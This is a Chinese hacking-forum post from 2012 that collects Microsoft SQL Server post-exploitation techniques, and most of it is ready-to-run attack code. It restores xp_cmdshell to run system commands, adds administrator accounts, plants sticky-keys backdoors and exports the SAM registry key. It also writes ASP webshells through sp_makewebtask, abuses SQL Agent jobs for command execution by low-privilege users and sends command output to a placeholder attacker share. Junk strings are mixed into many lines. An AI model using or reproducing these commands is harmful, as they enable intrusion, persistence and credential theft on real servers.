找回密码
 立即注册
查看: 3066|回复: 0
打印 上一主题 下一主题

XP_CMDSHELL恢复方法大全

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:37:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1 未能找到存储过程'master..xpcmdshell'.  EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号1 l- ?3 B# ~$ {5 Z
恢复方法:查询分离器连接后,1 v0 k0 z5 i; a% T  \
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int # h* W3 G% }- {* E: x# P
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
8 k5 k( f* Q5 U% q! H; s* ^/ S. T8 v然后按F5键命令执行完毕6 d; p$ M2 ~3 Y( m) I6 R  v

0 f! e8 Z. W! W2 n2 Q# K2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
: Y9 s# [, T: o/ _  j2 J恢复方法:查询分离器连接后,
. _# P2 \6 w6 m8 }3 L第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"
% `5 H* x" ^7 [3 ]7 Y* o* W5 k第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
* |* Q' K8 u' ^& T/ y/ w然后按F5键命令执行完毕
* Y- k. j) \" h1 K( T% R. j
3 N$ M4 N: H( s9 b* D3 w3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)7 S; V% C* m1 l# I; I
恢复方法:查询分离器连接后,
  K! _7 S3 G" X8 S5 @7 M. t第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
: e# y* j$ P: p; N$ f第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'       ! d- `+ h. ~  A, L# w. ]- @
然后按F5键命令执行完毕
" Y' t1 X) g7 p2 L
7 x0 }% V! _# m  c$ U4 终极方法.
9 W- Z0 N/ a2 ~) d5 e! `( ^1 H# u如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:: \) p+ y& Y8 f1 t3 ]
查询分离器连接后,( q" [0 N9 A1 Z' ~
2000servser系统:
9 o: `# u0 N" Z; ~$ T; H  r; Qdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'/ v" L/ C8 H4 D% r! t7 P$ N

9 ?% b2 I0 B+ J2 D$ gdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'2 R$ H( R5 `# o: H* z
+ a/ o9 J* w5 L. M5 R
xp或2003server系统:
2 A8 [: ~% C; \
$ S$ Y- R; B9 N1 x# e* I  ldeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
8 f8 d# \9 ]# T0 `3 H; ?9 a8 c4 ]; H. y& w8 w" w4 n) h8 W
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add', {* W' A9 V. V) _5 E, z

8 }. a5 m4 s: `! K3 w
! }/ _: d7 x: i  J五个SHIFT# c/ K; D: n' O& b4 [
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';. V$ P; r+ r; g0 S6 P8 V* j" Q) d

: }- I  R! d1 `2 [* w% pdeclare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
! a3 x, y! y& ~1 f- j
" \: v+ H$ T3 K7 \1 _( K1 V& wxp_cmdshell执行命令另一种方法
1 Z3 V: t* i( Y! E) _& Adeclare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add'
, ^! ]+ y0 F& L# i8 P2 D- J" }$ w' y) }: }* m: j9 {) {
判断存储扩展是否存在2 t1 d6 W( B! m$ ?% H; A. W7 x
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
& ?$ r. j% z. \4 O返回结果为1就OK
0 Q* e1 O" M2 d! w2 A. p
. K. n4 N) E4 n% D
4 C" C  b* ~0 B) S上传xplog70.dll恢复xp_cmdshell语句:
. i( T2 `" W  f7 @, i3 f* Q$ usp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'& H2 V7 q. L2 q, @3 ^& n
& X- p2 o. A9 b, G8 p
否则上传xplog7.0.dll
& v$ W  B+ i9 ~0 e. w( `( ?Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'& ~) g6 Y% C* w7 E1 Q
; o  m1 _, v# p6 D; y( D5 r

4 ~8 C8 t  m3 l* y
+ K# \7 X# ?8 P+ _$ X; J首先开启沙盘模式:( Q7 R% w2 }3 Z) i3 E$ q4 d
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1# r/ r# t4 S+ T2 v# ]& Z

& L- k5 _" }$ s5 D然后利用jet.oledb执行系统命令  V, W7 [& b, f- u* R
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
: u( s/ H" w$ d4 |返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1--  发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了
, y4 \3 _: Z0 m& t% R* x( l  |% o- }4 h4 i3 \" G' K' b+ {: Q; X  B
1 J, Q$ W7 c$ S9 |$ v# [- y

& {( }2 ?% [6 o: }恢复过程sp_addextendedproc 如下: ; Z% x0 w0 ]' j% C* B9 E
create procedure sp_addextendedproc --- 1996/08/30 20:13 " R2 H" m9 g. i+ C& Z& _! i$ i3 |, |3 U
@functname nvarchar(517),/* (owner.)name of function to call */ 3 {) s0 ]  M" H, z7 H/ A1 b$ \
@dllname varchar(255)/* name of DLL containing function */
$ f8 M% y  D" ^as
# K+ y, A; k' t; Nset implicit_transactions off
1 T3 |. B3 F5 m# V8 {: Cif @@trancount > 0
( t2 ]. [6 m# Xbegin
* q% p' j- _4 {) sraiserror(15002,-1,-1,'sp_addextendedproc') ) J6 E# D& x/ r+ t  z: f
return (1) 4 t, M1 Z% I. P
end * T% Q; o8 |6 Z7 C# {+ l1 d
dbcc addextendedproc( @functname, @dllname)
) {9 S0 X0 Y# b7 F+ o6 S. Treturn (0) -- sp_addextendedproc
( ^; x. t0 X' w3 yGO
( d. Y  u, u( s/ f& T4 B0 }) P; L
: `. H0 r$ y4 L& S
! b2 X! Y% M7 i
% G% c0 c- L, z, `/ L% N导出管理员密码文件  N& l+ D5 T4 r! r% v7 Y8 y$ \
sa默认可以读sam键.应该。0 {9 ?( h1 a( w1 j# N
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg* t4 O: l8 X* G' [
net user administrator test
) u: s9 |. `; X' j用administrator登陆.$ r+ M$ G  W$ r8 Q5 D5 D* Y
用完机器后0 d; |- }" F5 G
reg import c:\test.reg% W& N" v7 P* d' p
根本不用克隆.8 d4 [  @, T! p! h$ f2 K
找到对应的sid.
4 N3 ~; X) ^/ {; z2 X9 h
/ ~9 g% R; y" S, _: N" Q
2 k9 N' N7 k' e9 N: q/ e) y0 O' i
6 j9 o1 j1 c% H  T( w/ N% n恢复所有存储过程  [& d* u: e# V/ U
use master
: z" i8 ^" {0 ]exec sp_addextendedproc xp_enumgroups,'xplog70.dll'
- P9 ]7 j8 k; B- q( M- Vexec sp_addextendedproc xp_fixeddrives,'xpstar.dll'   X  o* ~" [2 x, W  s
exec sp_addextendedproc xp_loginconfig,'xplog70.dll'
  C" g( ^1 K0 Z0 @7 z; Oexec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
) }9 v+ V& F) t( A! ~exec sp_addextendedproc xp_getfiledetails,'xpstar.dll' 9 C6 R" a5 o2 F
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
6 I4 A$ c8 m8 L7 {! H. U1 W" Gexec sp_addextendedproc sp_OADestroy,'odsole70.dll' 8 h. A1 J: N& K& W0 d1 q
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
( {% f5 i) c, Wexec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' % R* {* z0 o, p: A
exec sp_addextendedproc sp_OAMethod,'odsole70.dll' 7 k$ Q% u0 o8 I# |; n1 N3 @
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
' O- S, s* s1 P/ g$ \" W$ |3 Z9 ]exec sp_addextendedproc sp_OAStop,'odsole70.dll' " d( I% ~4 a4 \; Y( m( w
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll' * a* x) [$ O9 S- y
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
) _9 K; R9 r2 W2 wexec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
2 b2 [% g! A: N' n9 Q* mexec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
  X4 [: J3 F" ]( l3 x2 _- hexec sp_addextendedproc xp_regread,'xpstar.dll'
4 p5 Y- D5 F* c  wexec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' - r$ ]% f1 \% A8 {0 _8 `
exec sp_addextendedproc xp_regwrite,'xpstar.dll' " ^' `4 u0 ?2 h9 f' s) _
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'
; e& D! w/ a( E0 [: P9 T' a. z0 @: s  ?( ^2 G
" Y( `! F/ \' B. G4 C
建立读文件的存储过程
  k0 _8 U9 N  `! `) U% q0 c) E9 g! b- hCreate proc sp_readTextFile @filename sysname9 Y$ v( W! {( O0 b
as
: ?5 _" x2 G. X7 ^! @& C$ D3 c2 Y7 Y) j  W
    begin
( V7 d9 ?& ]. P3 |    set nocount on
) H3 m* X1 ^- ]1 B4 p+ P6 W) r8 w    Create table #tempfile (line varchar(8000))) |+ @+ t( N, Y. V9 D
    exec ('bulk insert #tempfile from "' + @filename + '"')# f1 X0 p+ X' l8 S  a# R$ [5 v
    select * from #tempfile
  |) n( A3 v0 F# ?    drop table #tempfile
6 Z: T; B; I$ ~End8 K7 A; C/ [. v4 J4 b

4 P0 z$ F9 d6 _8 ^: t7 I& i1 |+ W; Eexec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件. X2 l" z- C8 z5 E
查看登录用户7 r! \' h2 Q8 d4 o+ {: ?2 ~& Q1 e
Select * from sysxlogins9 R% P: T7 S  j( n0 M7 ]

% m1 r7 }! G& U7 H: a, @把文件内容读取到表中
5 i4 ~3 w; q- IBULK INSERT tmp from "c:\test.txt": }$ O; C, L9 y! Q' V+ P+ }2 L
dElete from 表名 清理表里的内容
5 t5 z" a+ J+ {8 E$ K% pcreate table b_test(fn nvarchar(4000));建一个表,字段为fn
5 @/ @6 i# q7 O- G. W3 n
* s$ D2 W8 L2 d2 d3 r5 Q
" j* V$ c/ I1 ^+ ~3 u加sa用户
6 G: {( M, s6 B# V( yexec master.dbo.sp_addlogin user,pass;
! o- ~1 ~  p- E- |' R) ^exec master.dbo.sp_addsrvrolemember user,sysadmin
9 R8 y+ t$ O% }2 A4 v$ [
9 U9 d: R( N1 t4 j# }9 G  F" j% X8 A3 F  p
" c4 K8 O3 |2 |3 k7 N9 ]
读文件代码% y5 s" K; I% E4 q" i0 |7 l# q
declare @o int, @f int, @t int, @ret int) Y7 i* i- ], r& h8 K
declare @line varchar(8000)7 }. n( i$ u# d! B/ {2 v$ s& a2 ~
exec sp_oacreate 'scripting.filesystemobject', @o out. n0 V% G; ~/ n  i$ t* ]
exec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1
8 j6 i7 h% @9 F5 R# ], Uexec @ret = sp_oamethod @f, 'readline', @line out4 C  z$ g# P& p, e* A  h
while( @ret = 0 )+ D" T6 A6 q/ d- w
begin
# }3 n8 N: J! r$ X' @; K* fprint @line
+ l& G5 b3 `* {& {* r7 w5 Iexec @ret = sp_oamethod @f, 'readline', @line out1 h7 Y8 a& B( D9 g( I2 z$ n
end
7 t) C: D0 ?; I% m
5 p- d: \" N+ b7 R: y8 `! q: @& m( }8 x  e6 }( u2 ~- k
写文件代码:
" b. R- h- T3 k' _declare @o int, @f int, @t int, @ret int
3 r5 k3 ^  I8 X$ k- }& X5 o# [2 Lexec sp_oacreate 'scripting.filesystemobject', @o out" Y/ x1 ^; C! h- f. I' O; r
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1# r( O# r2 q* z5 k
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
# B8 |. y/ H0 M( ]9 N
" Z- i( x" H0 u9 }" \4 p. _, r( m
添加lake2 shell
3 J' y. O! G, }6 h2 msp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'+ S9 `. O4 j3 q6 Z0 h: T9 B5 \
sp_dropextendedproc xp_lake2
, Y  Q- }: b: N3 s9 iEXEC xp_lake2 'net user'
  d8 t, A, H2 s; j" c6 t, f8 z% J% N" n2 c. r4 J0 n
5 M$ ?' R8 H/ @
得到硬盘文件信息 0 H& S- l+ C, v: B
--参数说明:目录名,目录深度,是否显示文件
+ t" w: E# C+ T9 oexecute master..xp_dirtree 'c:' 0 A. ^7 L9 {9 d2 a! U" y( _9 s
execute master..xp_dirtree 'c:',1
5 f5 v5 F0 x# mexecute master..xp_dirtree 'c:',1,1
7 U) Z$ ~# N  P; E. Y/ r, E
! G: Z9 g$ }8 `
, H% K$ z' y  }0 e6 E8 y7 J6 z8 o读serv-u配置信息
; H! O" n- L' [exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt', ?: H' m2 }+ Y- |# T/ D
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'
: x/ `/ \3 \' u/ K5 B
6 ~/ H+ |) b8 d5 ]通过xp_regwrite写SHIFT后门' T' a6 A: u. A3 M; b. H! a
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--3 Y) b. s& c5 b% c2 \
6 f( K8 m, n/ H# w2 ~
- t4 ~0 v! \8 B5 b- P

, z0 g/ z( T' q$ W, [3 s1 Q- u+ N  O3 i找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
2 S) E3 Z  x& C# w: ?exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了
& D6 W% x9 A# l" m4 o
0 H, d4 b6 Y% aEXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
" g% R# i8 \+ L9 T8 R" t0 Y7 r! \2 C! Y; d$ J0 }
, x; B: {; D/ h, |) A$ t
9 K; ~) B+ `* `8 M
sql server 2005下开启xp_cmdshell的办法
6 }+ g/ j/ s, v+ Q7 ?0 e* n/ d  ^! c, D" q7 F2 S
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;1 w# u" H1 V6 T, ~, X
* ~( q$ t+ p1 H
SQL2005开启'OPENROWSET'支持的方法:
) y; G' R' k7 {8 @! h9 t- L0 p; c$ P$ H2 n
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
( [9 Y  @$ b& j# Q4 I. p. F9 j+ ]0 [; |" M
SQL2005开启'sp_oacreate'支持的方法:
* I9 }5 ?, x8 `3 I! B& }& |2 A: a6 Q+ {! [( X2 G
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;1 z, X  u$ j" L8 p8 e. N4 z

6 K/ u* {+ O+ r: m! p7 `+ A, i+ f2 x" U# G; E
/ a( W5 `  H+ U' a- J

1 m# Z7 l% Y( t/ ?0 O, v) \! o
& T' s- ~0 F3 c  V6 [
6 V9 ~4 _% E; g* W9 E8 U  H* x7 a: U2 t
$ h) _* m+ A' b4 a( {
. m8 ]2 ?2 m% o) z1 `) w5 F
, C5 _* M' [) F- ~! w, M2 C

' Y1 ]' A# f% |6 s8 C/ a7 ^
# ?5 K6 N+ T: \1 k; I0 r
  v- O7 _+ r+ ]8 _1 n. l- x/ N
( {( t2 N* j# ^% M: j/ U. V& N0 \# {5 M
; ]) H, h" v. P: B9 r  R$ ^

( O- r3 B& B7 C1 `4 Y% C# Y$ L8 i4 y& S8 U. \6 l" }

# r1 r3 m, T6 v! ^* ~! ?" n9 ?: R$ {: {) R& N
9 H9 f- a. ~& S- \
7 G; t" A( Y9 |% n1 X/ [
! p$ C! O4 A1 J+ a# r9 t
- m* Y8 v9 o! P. \' ?
以下方面不知道能不能成功暂且留下研究哈:
) j# ]( [$ V2 Z. [) k/ x! R4)
5 D2 P) \4 N- F# Y0 q2 a; wuse msdb; --这儿不要是master哟
5 {# _  H: s. s4 G4 s; U/ Zexec sp_add_job @job_name= czy82 ;! }, Q7 F1 T3 b" G
exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;" m8 h5 y) H* M; B1 ?
exec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;
. v1 |( w$ `# x3 kexec sp_start_job @job_name= czy82 ;/ O' H( Q1 o) ^9 ]! ?; q
- z: O- i- G% C3 H
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以% V$ H( J9 R- W' v
执行tsql语句了.
; ]9 L* E& U- V. W# D8 V, j对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名) ^; s0 [0 w; i! s0 {1 ~/ _
第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
: R3 O  ?2 c& znet start SQLSERVERAGENT
: q6 O5 {5 ~) x2 e( J$ d# N
) B! o& i- j* d* x: ^对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的3 \8 E: k0 ~2 s, b1 }3 ^- {' J6 Z
USE msdb
% w: P* b, s5 z* u: {7 bEXEC sp_add_job @job_name = GetSystemOnSQL ,5 n# v2 `. t' X7 {
@enabled = 1,$ V& _2 d7 _0 i6 P
@description = This will give a low privileged user access to  n. h5 d2 F4 w* c. C. h3 N' V
xp_cmdshell ,* ?( w$ ?7 L3 }: e4 c2 A
@delete_level = 1
2 F+ v2 z9 G. w  O; L& UEXEC sp_add_jobstep @job_name = GetSystemOnSQL ,
7 y" E6 `; L$ ?0 X5 O( s@step_name = Exec my sql ,! k6 [/ o5 D, C$ P+ e
@subsystem = TSQL ,3 B3 V2 c$ R+ o9 D( H; e
@command = exec master..xp_execresultset N select exec
6 a' S) [! z" Y# Q" E$ J3 `master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master 4 |6 }' D6 V* v2 I; ]% f( x: [. m" [
EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
8 L" C/ E9 G& _9 [; W, g& m@server_name = 你的SQL的服务器名
& }$ T. N% R& h5 sEXEC sp_start_job @job_name = GetSystemOnSQL
& B/ w9 _) N. \+ m( x9 |4 B; c" R: M: {& x2 D7 x
不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
9 c: @" D! q# ?& x# O& Q才让我们可以以public执行xp_cmdshell
! N( _- L+ x* r7 j7 R  H8 }8 k
) u  W% Y, h; I2 l: C5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)
  f/ O0 o2 c9 u' h1 D在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968
" Z7 i  W1 ~. @& ]  f" r( e5 ^2 v9 \: K  [  o' c
USE msdb6 j" a- B, P7 H) R* S
EXEC sp_add_job @job_name = ArbitraryFilecreate ,
; N6 A. ?! Q, b8 ]@enabled = 1,* U1 ^6 M& G: p1 z7 `6 I9 K
@description = This will create a file called c:\sqlafc123.txt ,  y3 e" y( N, f
@delete_level = 1
$ p; d) J! A9 U  H# Q% s4 w1 ^EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,
: l& }" v6 c; ]% a% o2 P8 L@step_name = SQLAFC ,; `" r2 G- \% D' Q. x2 l: C* i5 ]
@subsystem = TSQL ,& \. B1 r1 t0 S  [. B! u
@command = select hello, this file was created by the SQL Agent. ,
" D6 q6 Q& y# V, s$ T- H8 G@output_file_name = c:\sqlafc123.txt # M% W* `0 J, \0 s
EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,4 k* h7 X, P; h9 P* h" a3 {
@server_name = SERVER_NAME
8 x, w; h% q* a& TEXEC sp_start_job @job_name = ArbitraryFilecreate 6 J4 c7 T$ }0 A! ]

& `" P0 c4 S( e, o8 q% V( i如果subsystem选的是:tsql,在生成的文件的头部有如下内容4 _+ ^( A  M: }! d) `/ y$ D/ I2 ?

* H$ c+ P8 e! G! T+ p??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:196 i, Y/ q  E0 e* L& j; G
----------------------------------------------
1 E6 }! r" S4 t) I+ Dhello, this file was created by the SQL Agent.* x% Z& |( I8 W- ?/ P" }

- |3 D! `& r% p4 L9 r3 ^(1 ?????)
; E+ q! R! p! x& h  w$ T/ g* T" H, |( {% a7 }2 P9 B) d
所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员8 q& \- C( ?- Y
命令的vbs文件到启动目录!' m( v& P6 |2 G
$ Y- P. k4 S3 q9 [7 K! x5 n& l8 d
6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
+ _/ ]) \- A* S  V* J0 w关于sp_MScopyscriptfile 看下面的例子
) D' F9 `7 l2 Ldeclare @command varchar(100)
) t1 p1 E1 E5 S4 E$ T! P  \declare @scripfile varchar(200)
& }0 {1 I7 K( Gset concat_null_yields_null off
# {( T1 U2 M7 o+ pselect @command= dir c:\ > "\\attackerip\share\dir.txt"
; a& n+ S1 S. v" T! H4 Kselect @scripfile= c:\autoexec.bat > nul" | @command | rd "
$ W! v. _& U3 Xexec sp_MScopyscriptfile @scripfile , 8 H/ m3 h- E4 q

0 H# }, M% {: u  q, V这两个东东都还在测试试哟& y4 G# U; t% ?% u5 p: F# M9 r$ A
让MSSQL的public用户得到一个本机的web shell: L) z3 A- Z8 ~8 |  W

2 M8 N: i' j# V+ w- Vsp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,% d. K4 i, ~/ F0 y: k- H
--@query= select <img src=vbscript:msgbox(now())>
+ ~- }, X1 N# }--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%> 0 O. {/ [3 D) f, a" s
@query= select 4 \  p. O0 C$ V* Z
<%On Error Resume Next % y- _* [" @5 w% w
Set oscript = Server.createObject("wscript.SHELL") # j) y5 a+ f" t) e8 Z$ O2 A! n
Set oscriptNet = Server.createObject("wscript.NETWORK")
( y% ^7 t) J- xSet oFileSys = Server.createObject("scripting.FileSystemObject")
9 |. d5 C4 ?2 d: r  L7 p) a& sszCMD = Request.Form(".CMD")
# x3 Y9 U. p* BIf (szCMD <>"")Then
: R, g9 T, O+ N" e" C" BszTempFile = "C:\" & oFileSys.GetTempName() . V, v- \$ q# `) N* t1 S- V( S
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
, F# l$ y" O& ]: r7 N4 r3 ~: RSet oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0) " L, ]5 [' d& h
End If %> ( N$ @9 {: Y& S9 [+ A
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="OST">
+ s7 }: l! B5 ]4 p<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run">
* h2 d/ H0 B+ u0 J/ w</FORM><RE>
+ X9 a$ D( P$ d  \! e6 n: ~( [<% If (IsObject(oFile))Then
) a% T; a" S4 \. s. xOn Error Resume Next
- x. I) r1 O: C  z( yResponse.Write Server.HTMLEncode(oFile.ReadAll)
1 M: G- t0 f) R$ D4 F9 q; noFile.Close
& l. i' |5 A$ l# |! q% G5 l# YCall oFileSys.deleteFile(szTempFile, True)
% z8 N1 b1 d2 k) I/ p) w; }9 QEnd If%> 4 f) X4 l: c% A- v/ }+ O, m
</BODY></HTML>
7 H' v/ X6 }( q7 j$ ]* O
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表